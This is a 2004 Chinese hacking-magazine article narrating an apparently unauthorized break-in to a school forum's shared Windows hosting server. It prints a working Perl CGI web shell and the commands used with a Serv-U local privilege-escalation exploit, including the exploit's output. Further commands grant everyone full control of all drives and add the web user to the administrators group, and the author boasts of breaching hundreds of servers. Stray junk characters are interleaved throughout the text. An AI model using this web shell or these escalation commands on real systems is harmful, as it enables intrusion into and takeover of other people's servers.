剑走偏锋——灵巧的旁注攻击
1 B7 d) Y1 S: Y$ Z本文作者:angel, g( w* R5 t' f5 m5 j5 p7 l6 ^
文章性质:原创
+ v; i: E: o& [# k发布日期:2004-11-09
( J; E0 Y8 I3 c5 n( l6 k$ c" o3 O# H注意:# Z: z. _* N0 U$ A8 x/ T
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
7 z4 ?% K; Y z2 t% p本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。3 j! B' s" r# G( y3 w
- Q3 c' } O! a! }7 ~% g$ f 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" u0 X4 K. E6 L; ^6 Z9 V, E
1 \$ U, `9 K2 w8 v+ |3 x( Y, z 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% M, e% M3 o. U8 i9 z+ K% F% w5 q/ Y; ?! j
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 - m0 c) r. b" k! c
/ S( S r6 s2 S4 E
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 9 n7 @ ?7 v6 o, X3 x
6 m) B h% P: D$ A% h5 Z
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 0 ?. Q" k7 Q' J: m4 ^
* p" C4 n2 m5 N; G! Z9 i 没有目的的跳转目录着…… / J6 _5 m- f5 `( p! W/ t
7 d/ p9 @0 m% C2 C; I, N8 U/ w 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… % J5 a& @( t+ w4 B
8 ]8 s$ [& E! u; L9 O
结束了吗?不,我试着 FTP 一下: / m9 a2 K. p. d7 R: N& g2 Z M
; C& ~9 m7 r8 H" b: J0 ~$ h
Microsoft Windows 2000 [Version 5.00.2195]+ Q/ c6 y7 l% G
(C) 版权所有 1985-2000 Microsoft Corp.
& w0 f0 R2 N+ k8 i6 N
" U' _& v5 n% U6 ?6 \! Y7 B& jC:\Documents and Settings\Administrator>ftp www.school.com
! D& D+ N! a% r, p" j0 DConnected to www. school.com.
" |2 [9 e7 r( |- `1 K4 o" E220 Welcome to FTP Server... - ~9 C8 K) x5 h5 ^2 R
User (www.bjtrq.com:(none)): ! s7 J, b. w! X2 \+ G
331 User name okay, need password.
* ]- x$ l$ I2 C& d6 [# r& ]Password: $ I7 e$ P. u7 a& X1 g
530 Not logged in. 9 K! O/ N9 s5 N/ D) A
Login failed.
/ I' z) g# y2 v8 J, Z8 e- d: Cftp> bye
, I0 {7 v7 B0 J% n+ o8 ^/ I/ \3 \221 Goodbye!
1 Y! e- u7 P5 o5 U
' I% E. T7 e' k+ W' y4 y, X, x& b3 L: r; K' g' R
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… $ r) D. L8 S! D" D! L3 z! ^
8 W! ?9 T* l: |+ U+ t 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
' B9 l) ^) s0 ?$ M* z$ c$ J# a I) b7 ?6 d( q
Application Data
2 W8 l v1 _% o3 mDocuments n4 q% G2 J6 B( v& s
DRM
0 c- W. b/ S# u5 m2 [. zFavorites9 J t' t4 I# k: E. W2 l/ \7 x
Templates
, U! ]# e( N7 }! Z% O6 h- U! x& d; z「开始」菜单
e" m3 j/ L2 I% P: C桌面# H+ h5 U+ f$ h7 W! C) H+ P
+ p8 y8 ~' c1 j2 j; J: q% }5 \" {
% X5 O/ J( }! U. z" t1 {1 W 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, / K k4 m6 Z6 P' y: Z0 n
/ r% a3 d" z: C) X9 T9 t9 N9 R2 ~ActiveState ActivePerl 5.8
* [, }% h& I6 H4 n. }Administrative Tools
1 E) m' ~6 k! ~Deerfield.com
# X& l7 u- h/ P( fDTemp
$ h) p( {, H! AIPSentry
4 F" [$ T/ |# P$ W$ j7 SMBM 5
( h; x h) u# C( S- WNetMeter$ a" g$ b8 W3 N, i# x5 O
Network ICE$ d, q+ b1 Q7 n) D# T' }5 }% U4 S
Persits Software AspEmail7 x: V: f+ r3 V+ T
Persits Software AspJpeg
& K8 V N; C/ ]$ u3 C) xServ-U FTP Server3 P6 W% b4 N! E% B- f9 O
Symantec Client Security4 H& T8 B% @2 g# E7 M0 ^
Windows 优化大师+ R5 W/ `) D7 r4 ~; W; b( w" q
WinRAR
3 Y, M& z4 l! [: Q) |: E启动
& e, A% n4 c# n管理工具! i3 v) L! q; _5 y, a6 S
附件( f2 S& ^$ G/ e. t% ?
% p* t5 b y1 |6 k+ L: B+ `9 U
8 Y9 B4 p/ |0 Z- @) U0 I
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
0 [2 e, U. |$ [, ?, P8 k7 F7 k9 I) [" i
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: * G8 f. q" b! Z- u% e9 i
7 D5 }" c4 \% N% f3 T$ \8 D+ w
User281=angel|1|0 : P1 v; I2 [, a+ k+ C
- c' G% T+ L% _% P' |
; [+ I9 f8 x* x( u
然后加上 & {5 U' z% X# V) V, h3 g: t& |
5 u5 y/ C$ t, }. R. ^( Z; O
[USER=angel|1]
1 O- L& L! _0 ]5 IPassword=ng98F85379EA68DBF97BAADCA99B69B805
% P! w |* {# a. G- A- [HomeDir=D:\websites2 k( x1 U, y" h- l4 Z7 c
RelPaths=1
6 x4 [' ]; [; x+ yTimeOut=600# u) n5 ~' q1 ? N( Z7 Q# E! w; D7 F
Maintenance=System
+ g4 A1 L7 H7 J( O$ mAccess1=D:\websites|RWAMELCDP
# \4 |9 d, @0 p) Q5 U1 WSKEYValues=8 V& b d! }6 m: \
, |3 F& @9 N- e% d* X
& g9 Y: O- X7 s* H5 d: v; J
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 8 @/ T0 V, G& P: ?" Y3 b
: p: F. J5 O4 u: f$ ?
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 3 s e7 N* m) g; l& _
! R6 ?* F( J5 \/ {. F: I 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
4 E# x5 Y+ H r: g7 [) _& Y4 h6 b0 G1 j: @. V
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 8 m2 L9 i: n% A2 J L
9 n" z: o! B) a6 I" S3 `! O9 d6 a
#!/usr/bin/perl
1 l( ?6 t$ h; g2 ?6 L4 Dbinmode(STDOUT); n! X( X% L- d4 z. w
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);5 M: ~9 y7 v0 R' W
$_ = $ENV{QUERY_STRING};9 u1 j' v1 K6 h% f+ [# y; b
s/%20/ /ig;
- [! Y$ x" W0 n/ Y/ X) k% N `8 Z% Ts/%2f/\//ig;
# n! F* @" j; h& u0 Y0 O$execthis = $_;$ n5 b* n" L$ I3 I$ i+ n+ X
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
! _2 X8 G( T) c% U# G' m# }: E+ fopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
7 e: R0 N- v" K: C: v4 H2 Esystem($execthis);( H# \2 W3 H- d5 n* _, l* u
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);% {# y k. e3 f- }0 ~. k% O3 m* F) `
close(STDERR);
& @6 s/ B# G; S" {2 C! t2 Zclose(STDOUT);% I3 C+ n! ^% L8 c- k3 j
exit;* M# N. \! c) A5 m2 N
" L/ \$ f- F; f1 d. Q
7 d n7 T' m; W' c 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
4 `' Z1 N$ |5 f' d$ T1 m9 D5 _+ @' Q
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 8 u6 z4 T! R% ?/ @1 Y4 G! z$ {0 R
$ ~! e$ p3 ?5 F7 T: x0 c# j5 {
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 z& M2 E' D$ b. S+ Q2 ?' f6 W
. b3 e# W/ f9 b8 u* _- K D& w6 e! K9 x1 h: G7 _: b
返回:
9 M& L) s; p% f0 p, Z
, K6 k* T! L( x( f: t+ Q8 }Serv-u >3.x Local Exploit by xiaolu
) g3 u; h, O+ x9 u% Y7 S9 O; C
, {) B% Y | Z4 }USAGE: serv-u.exe "command" / }2 E& W6 M3 a5 B! e! e# ^
' s, B6 a! v5 uExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" - A& R1 J3 J! }+ b: e8 ]. j
4 W C% ~! [# U7 o
/ v1 w4 x8 F, W. u9 P: B5 s. S% ]
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 2 T. m0 L1 L8 W! |5 J- s7 x
! U. w9 O# Z8 e* o4 V( r4 Thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
# U# D P7 g3 l( `7 f" }7 c; V$ Q: h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 W, k* `8 @" {! z
& z0 C! K5 A/ X" X' l/ B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
9 q5 R) A; |( u6 {, s- E: }5 G. E# q1 w7 }9 A+ O6 i
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
8 p$ q/ M3 ^3 G! W
' c) f) c5 M. n Q+ S+ ?' f8 O. G, {
返回下面的信息,就表示成功了!!! ! N7 Q1 y4 k+ ^
a: @' M: d! j' `2 Q2 H
Serv-u >3.x Local Exploit by xiaolu
$ B% B! |- @5 Y! f2 ]
/ s5 |4 N9 H/ {+ ?! G2 [; z( ^. g<220 Serv-U FTP Server v5.2 for WinSock ready... ( A0 M' \: X* p9 q
/ Y, f$ Y. w, ]* t>USER LocalAdministrator : @, e, [# M/ c7 Y4 {9 o
9 x. Z' }* A. s ~: M. `. S" L<331 User name okay, need password.
7 {( n7 p5 ^- o& f: I! j$ N
g. F3 I) @$ a Z4 z******************************************************
/ \7 P& O5 Y6 Q, j/ _3 {$ s
, ~4 t# V9 j; n% b>PASS #l@$ak#.lk;0@P
9 f9 S9 B+ j3 X/ a
9 S/ Q5 |, @8 R5 N s: A<230 User logged in, proceed. $ r2 T' q( K. p) G
9 ]3 G! q1 `3 U) k****************************************************** 8 ]' o& n1 S1 _" h
4 S- }5 h$ \" t
>SITE MAINTENANCE 1 _5 o: ]( D$ ?7 j" a
+ `0 o0 s& Y: L
******************************************************
+ g( h* n$ y9 m
/ c& {" r- g5 b" z[+] Creating New Domain... - s1 l$ d' o7 a3 @0 Q3 c% ?
% i" {* x; P$ v9 z& Z; k( e9 s<200-DomainID=2 . K& R. V) E! c; p% l8 K
0 i! g8 ]+ R. y# A ^0 a' ~/ W' w
<220 Domain settings saved
9 F5 ~2 L5 s4 X t; Y. b$ G. P* H; F2 H& f# N( i: k" ]
****************************************************** - U7 q- Z" w; i; p* Z( U2 H# N
3 ~% C) \) g, L$ ^) q0 t% y/ u% {[+] Domain xl:2 Created
$ s5 }( Z8 l. ^$ c' m- c5 b
% W# [. D; m3 Q2 C' ]- b) o[+] Creating Evil User
/ \* M% c! d* _6 \$ j+ p% ~ L# a) h0 R
<200-User=xl
- G8 Y% {# [. |& B3 r4 U( }8 Q& W& F; G& o: z+ S7 S5 _8 [% E }
200 User settings saved
3 s! U- {8 d1 Y, Y# i* a `( V1 ^6 K1 D$ ~# A( K- X* A! W& l
******************************************************
' ~7 w F8 |5 Y3 j6 D3 `% u/ v' L( e3 n4 r1 _2 m& v
[+] Now Exploiting...
: x, o4 l! ? F6 _+ \5 ^" r8 B5 l* X) n4 o! V. C3 v, X
>USER xl ! k' u- W5 s. m- e z
# G5 ^7 k9 F/ X4 G3 Z
<331 User name okay, need password.
! p2 W" e4 u' C1 G& z; U! R! s3 ?4 o5 Z, c4 K
******************************************************
# n) y: z* t% T8 W; J, G8 D- Q
, \% X6 U) ^2 j; J>PASS 111111
7 T- ]( e$ \7 _& ^, e g! G0 k9 Y9 [0 |: L" \. T% a' A) T
<230 User logged in, proceed. + ^5 \- Y% T z) R* {" g# P
* n! {7 I; r! s
******************************************************
. C e o C" l8 L' Z( L9 d7 |" `
[+] Now Executing: cacls.exe c: /E /T /G everyone:F + b9 U" s- O a* T+ r, ]0 `$ G3 ]
, l9 c" h8 e3 A( c' F
<220 Domain deleted 0 ^% n, s3 f- x% ^; D* N1 j' A; Z
+ R3 a& M- r4 m* Q******************************************************
% Y" }" n7 [4 N. W
# ~3 `% J0 T. G( B4 g0 z8 ~ Q) i! x( V/ l9 u
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) g% T# x+ w9 T; t
9 S x2 h9 c b0 G1 z, Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ N g- A5 j2 K& Y8 Q, n) I- a6 y ; r3 B. X5 S8 @
9 N N5 u5 w4 u 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ' H6 M O$ |' J8 v v) a }& h- s
- y2 Y' W) l- v) c8 \$ p9 x# \# d
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
' j: u; H' n1 y' z; K5 x" u - L. d* Y! }# T: |/ K
: O; X# C/ w3 q. e8 c g |